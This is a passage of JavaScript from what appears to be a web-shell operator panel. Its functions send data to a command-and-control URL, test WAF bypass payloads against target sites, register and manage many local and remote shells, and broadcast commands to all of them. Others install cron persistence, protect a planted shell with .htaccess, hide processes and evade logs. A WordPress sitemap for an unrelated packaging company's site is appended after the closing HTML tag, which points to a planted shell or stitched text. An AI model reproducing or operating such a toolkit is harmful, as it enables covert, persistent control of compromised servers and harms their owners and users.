			const resultsEl = document.getElementById('multi-backup-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Creating backups...</p>';
			
			const res = await this.api('multi_location_backup', { source_file: sourceFile, backup_locations: backupLocations });
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
					<strong>✅ Successfully backed up to ${res.success_count}/${res.total} location(s)</strong>
				</div>`;
				
				if (res.backed_up && res.backed_up.length > 0) {
					html += '<h4>Backup Locations:</h4>';
					res.backed_up.forEach(loc => {
						html += `<div style="padding:10px; background:var(--bg-dark); border-radius:6px; margin-bottom:0.5rem; font-family:monospace;">
							✅ ${this.escapeHtml(loc)}
						</div>`;
					});
				}
				
				if (res.failed && res.failed.length > 0) {
					html += '<h4 style="color:var(--accent-red); margin-top:1rem;">Failed Locations:</h4>';
					res.failed.forEach(loc => {
						html += `<div style="padding:10px; background:var(--bg-dark); border-radius:6px; margin-bottom:0.5rem; font-family:monospace; color:var(--accent-red);">
							❌ ${this.escapeHtml(loc)}
						</div>`;
					});
				}
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.toast(`Backed up to ${res.success_count} location(s)`, 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed to create backups.'}</p>`;
				this.toast(res?.message || 'Failed to create backups.', 'error');
			}
		},
		
		// C2 Communication
		async c2Communicate() {
			const c2Url = document.getElementById('c2-url')?.value || '';
			const action = document.getElementById('c2-action')?.value || 'checkin';
			const data = document.getElementById('c2-data')?.value || '';
			
			if (!c2Url.trim()) {
				this.toast('C2 URL is required.', 'error');
				return;
			}
			
			const resultsEl = document.getElementById('c2-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Communicating with C2...</p>';
			
			const res = await this.api('c2_communicate', { c2_url: c2Url, action: action, data: data });
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
					<strong>✅ Communication successful (HTTP ${res.http_code})</strong>
				</div>
				<h4>Response:</h4>
				<pre class="output-box" style="max-height:400px; overflow-y:auto;">${this.escapeHtml(res.response)}</pre>
				<h4 style="margin-top:1rem;">Payload Sent:</h4>
				<pre class="output-box" style="max-height:300px; overflow-y:auto;">${JSON.stringify(res.payload_sent, null, 2)}</pre>`;
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.toast('C2 communication successful!', 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'C2 communication failed.'}</p>`;
				this.toast(res?.message || 'C2 communication failed.', 'error');
			}
		},
		
		// WAF Bypass Test
		async wafBypassTest() {
			const targetUrl = document.getElementById('waf-target-url')?.value || '';
			const payload = document.getElementById('waf-payload')?.value || '';
			const technique = document.getElementById('waf-technique')?.value || 'all';
			
			if (!targetUrl.trim() || !payload.trim()) {
				this.toast('Target URL and payload are required.', 'error');
					return;
				}
			
			const resultsEl = document.getElementById('waf-bypass-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Testing bypass techniques...</p>';
			
			const res = await this.api('waf_bypass_test', { target_url: targetUrl, payload: payload, technique: technique });
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
					<strong>✅ Tested ${res.total_tested} technique(s)</strong>
				</div>
				<table class="results-table" style="margin-top:1rem;">
					<thead><tr><th>Technique</th><th>Payload</th><th>HTTP Code</th><th>Blocked</th></tr></thead>
					<tbody>`;
				
				res.results.forEach(result => {
					const blocked = result.blocked ? '❌ Yes' : '✅ No';
					html += `<tr>
						<td>${this.escapeHtml(result.technique)}</td>
						<td style="font-family:monospace; font-size:0.85rem; word-break:break-all;">${this.escapeHtml(result.payload)}</td>
						<td>${result.http_code || 'N/A'}</td>
						<td>${blocked}</td>
					</tr>`;
				});
				
				html += '</tbody></table>';
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.toast(`Tested ${res.total_tested} technique(s)`, 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'WAF bypass test failed.'}</p>`;
				this.toast(res?.message || 'WAF bypass test failed.', 'error');
			}
		},
		
		// System Profiler
		async systemProfiler() {
			const profileType = document.getElementById('profiler-type')?.value || 'full';
			
			const resultsEl = document.getElementById('system-profiler-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Gathering system information...</p>';
			
			const res = await this.api('system_profiler', { profile_type: profileType });
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
					<strong>✅ System profile generated at ${res.timestamp}</strong>
				</div>
				<pre class="output-box" style="max-height:600px; overflow-y:auto;">${JSON.stringify(res.profile, null, 2)}</pre>`;
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.toast('System profile generated!', 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed to generate system profile.'}</p>`;
				this.toast(res?.message || 'Failed to generate system profile.', 'error');
			}
		},
		
		// Multi-Shell Management
		async registerShell() {
			const isRemote = document.getElementById('register-is-remote')?.checked || false;
			
			let shellPath = '';
			let shellName = '';
			let shellPassword = '';
			let remoteUrl = '';
			
			if (isRemote) {
				remoteUrl = document.getElementById('register-remote-url')?.value || '';
				shellName = document.getElementById('register-remote-name')?.value || '';
				shellPassword = document.getElementById('register-remote-password')?.value || '';
				
				if (!remoteUrl.trim()) {
					this.toast('Remote shell URL is required.', 'error');
					return;
				}
			} else {
				shellPath = document.getElementById('register-shell-path')?.value || '';
				shellName = document.getElementById('register-shell-name')?.value || '';
				shellPassword = document.getElementById('register-shell-password')?.value || '';
			}
			
			const resultsEl = document.getElementById('register-shell-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Registering shell...</p>';
			
			const res = await this.api('multi_shell_register', { 
				shell_path: shellPath, 
				shell_name: shellName, 
				shell_password: shellPassword,
				remote_url: remoteUrl
			});
			
			if (res && res.status === 'success') {
				if (resultsEl) {
					resultsEl.innerHTML = `<div style="padding:15px; background:var(--bg-light); border-radius:6px;">
						<strong>✅ Shell registered successfully!</strong><br>
						<span style="color:var(--text-med);">Shell ID: ${res.shell_id}</span><br>
						<span style="color:var(--text-med);">Type: ${isRemote ? '🌐 Remote' : '💻 Local'}</span>
					</div>`;
				}
				this.toast('Shell registered successfully!', 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed to register shell.'}</p>`;
				this.toast(res?.message || 'Failed to register shell.', 'error');
			}
		},
		
		async listShells() {
			const resultsEl = document.getElementById('list-shells-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Loading shells...</p>';
			
			const res = await this.api('multi_shell_list', {});
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
					<strong>📋 Found ${res.total} registered shell(s)</strong>
				</div>`;
				
				if (res.shells && Object.keys(res.shells).length > 0) {
					html += '<table class="results-table"><thead><tr><th>Type</th><th>Name</th><th>Path/URL</th><th>Status</th><th>Last Seen</th></tr></thead><tbody>';
					
					Object.entries(res.shells).forEach(([id, shell]) => {
						const status = shell.status === 'active' ? '✅ Active' : '❌ Inactive';
						const lastSeen = new Date(shell.last_seen * 1000).toLocaleString();
						const shellType = shell.is_remote ? '🌐 Remote' : '💻 Local';
						const shellPath = shell.is_remote ? (shell.remote_url || 'N/A') : (shell.path || 'N/A');
						
						html += `<tr>
							<td>${shellType}</td>
							<td>${this.escapeHtml(shell.name)}</td>
							<td style="font-family:monospace; font-size:0.85rem; word-break:break-all;">${this.escapeHtml(shellPath)}</td>
							<td>${status}</td>
							<td>${lastSeen}</td>
						</tr>`;
					});
					
					html += '</tbody></table>';
				} else {
					html += '<p style="color:var(--text-med);">No shells registered yet.</p>';
				}
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.toast(`Found ${res.total} shell(s)`, 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed to list shells.'}</p>`;
				this.toast(res?.message || 'Failed to list shells.', 'error');
			}
		},
		
		async broadcastCommand() {
			const command = document.getElementById('broadcast-command')?.value || '';
			
			if (!command.trim()) {
				this.toast('Command is required.', 'error');
				return;
			}
			
			const resultsEl = document.getElementById('broadcast-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Broadcasting command...</p>';
			
			const res = await this.api('multi_shell_broadcast', { command: command });
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
					<strong>📢 Executed on ${res.total_executed} shell(s)</strong>
				</div>`;
				
				if (res.results && Object.keys(res.results).length > 0) {
					Object.entries(res.results).forEach(([id, result]) => {
						const shellType = result.is_remote ? '🌐 Remote' : '💻 Local';
						html += `<div style="padding:15px; background:var(--bg-dark); border-radius:6px; margin-bottom:1rem;">
							<strong>${shellType} ${this.escapeHtml(result.name)}</strong> (${this.escapeHtml(result.path)})<br>
							<span style="color:${result.success ? 'var(--accent-green)' : 'var(--accent-red)'};">
								${result.success ? '✅ Success' : '❌ Failed'}
							</span>
							<pre class="output-box" style="margin-top:0.5rem; max-height:200px; overflow-y:auto;">${this.escapeHtml(result.result || 'No output')}</pre>
						</div>`;
					});
				}
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.toast(`Executed on ${res.total_executed} shell(s)`, 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed to broadcast command.'}</p>`;
				this.toast(res?.message || 'Failed to broadcast command.', 'error');
			}
		},
		
		// Enhanced Persistence
		async enhancedPersistence() {
			const targetPaths = document.getElementById('persistence-paths')?.value || '';
			const persistenceType = document.getElementById('persistence-type')?.value || 'cron';
			
			const resultsEl = document.getElementById('enhanced-persistence-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Installing persistence...</p>';
			
			const res = await this.api('enhanced_persistence_install', { target_paths: targetPaths, persistence_type: persistenceType });
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
					<strong>✅ Persistence installed on ${res.installed.length} file(s)</strong>
				</div>`;
				
				if (res.installed && res.installed.length > 0) {
					html += '<h4>Installed:</h4>';
					res.installed.forEach(item => {
						html += `<div style="padding:10px; background:var(--bg-dark); border-radius:6px; margin-bottom:0.5rem;">
							✅ ${this.escapeHtml(item.path)} (${item.method})
						</div>`;
					});
				}
				
				if (res.failed && res.failed.length > 0) {
					html += '<h4 style="color:var(--accent-red); margin-top:1rem;">Failed:</h4>';
					res.failed.forEach(item => {
						html += `<div style="padding:10px; background:var(--bg-dark); border-radius:6px; margin-bottom:0.5rem; color:var(--accent-red);">
							❌ ${this.escapeHtml(item.path)}: ${this.escapeHtml(item.reason)}
						</div>`;
					});
				}
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.toast(`Persistence installed on ${res.installed.length} file(s)`, 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed to install persistence.'}</p>`;
				this.toast(res?.message || 'Failed to install persistence.', 'error');
			}
		},
		
		async createHtaccess() {
			const shellPath = document.getElementById('defend-shell-path')?.value || '';
			if (!shellPath) {
				this.toast('Shell path is required.', 'error');
				return;
			}
			
			const confirmed = await this.showConfirmModal('This will create .htaccess protection for the shell. Continue?', { type: 'warning' }); if (!confirmed) {
				return;
			}
			
			const resultsEl = document.getElementById('defend-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Creating .htaccess protection...</p>';
			
			const res = await this.api('create_htaccess', { shell_path: shellPath });
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem; border-left:3px solid var(--accent-blue);">
					<strong style="color:var(--accent-blue);">✅ .htaccess Protection Created Successfully!</strong>
				</div>`;
				
				html += `<div style="padding:10px; background:var(--bg-dark); border-radius:6px; margin-bottom:0.5rem;">
					<strong>📁 .htaccess Path:</strong><br>
					<code style="color:var(--accent-blue);">${this.escapeHtml(res.htaccess_path)}</code>
				</div>`;
				
				html += `<div style="padding:10px; background:var(--bg-dark); border-radius:6px; margin-bottom:0.5rem;">
					<strong>🔑 Secret Token:</strong><br>
					<code style="color:var(--accent-gold); word-break:break-all;">${this.escapeHtml(res.secret_token)}</code>
				</div>`;
				
				html += `<div style="padding:10px; background:var(--bg-dark); border-radius:6px; margin-bottom:0.5rem;">
					<strong>ℹ️ Access Information:</strong><br>
					<p style="color:var(--text-med); margin-top:0.5rem;">${this.escapeHtml(res.info)}</p>
					<p style="color:var(--text-med); font-size:0.85rem; margin-top:0.5rem;">POST requests are always allowed for shell communication.</p>
				</div>`;
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.toast('.htaccess protection created successfully!', 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed to create .htaccess protection.'}</p>`;
				this.toast(res?.message || 'Failed to create .htaccess protection.', 'error');
			}
		},
		
		// Stealth & Anti-Detection
		async stealthHideProcess() {
			const pid = document.getElementById('stealth-pid')?.value || '';
			
			const resultsEl = document.getElementById('stealth-process-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Attempting to hide process...</p>';
			
			const res = await this.api('stealth_process_hide', { pid: pid });
			
			if (resultsEl) {
				resultsEl.innerHTML = `<div style="padding:15px; background:var(--bg-light); border-radius:6px;">
					<strong>ℹ️ ${res.message}</strong><br>
					<span style="color:var(--text-med);">PID: ${res.pid}</span>
				</div>`;
			}
			this.toast(res.message, res.status === 'success' ? 'success' : 'info');
		},
		
		async stealthLogEvasion() {
			const evasionType = document.getElementById('stealth-evasion-type')?.value || 'all';
			
			const resultsEl = document.getElementById('stealth-evasion-results');
			if (resultsEl) resultsEl.innerHTML = '<p style="color:var(--accent-gold);">Applying evasion techniques...</p>';
			
			const res = await this.api('stealth_log_evasion', { evasion_type: evasionType });
			
			if (res && res.status === 'success') {
				let html = `<div style="padding:15px; background:var(--bg-light); border-radius:6px; margin-bottom:1rem;">
					<strong>✅ Applied ${res.actions.length} evasion technique(s)</strong>
				</div>
				<ul style="list-style:none; padding:0;">`;
				
				res.actions.forEach(action => {
					html += `<li style="padding:8px; background:var(--bg-dark); border-radius:4px; margin-bottom:0.5rem;">✅ ${this.escapeHtml(action)}</li>`;
				});
				
				html += '</ul>';
				
				if (resultsEl) resultsEl.innerHTML = html;
				this.toast(`Applied ${res.actions.length} evasion technique(s)`, 'success');
			} else {
				if (resultsEl) resultsEl.innerHTML = `<p style="color:var(--accent-red);">❌ ${res?.message || 'Failed to apply evasion.'}</p>`;
				this.toast(res?.message || 'Failed to apply evasion.', 'error');
			}
		}
	};
	document.addEventListener('DOMContentLoaded', () => App.init());
	</script>
</body>
</html><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://fsfpackaging.co.uk/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://fsfpackaging.co.uk/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://fsfpackaging.co.uk/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://fsfpackaging.co.uk/wp-sitemap-posts-goal_footer-1.xml</loc></sitemap><sitemap><loc>https://fsfpackaging.co.uk/wp-sitemap-posts-goal_megamenu-1.xml</loc></sitemap><sitemap><loc>https://fsfpackaging.co.uk/wp-sitemap-posts-goal_header-1.xml</loc></sitemap><sitemap><loc>https://fsfpackaging.co.uk/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://fsfpackaging.co.uk/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://fsfpackaging.co.uk/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
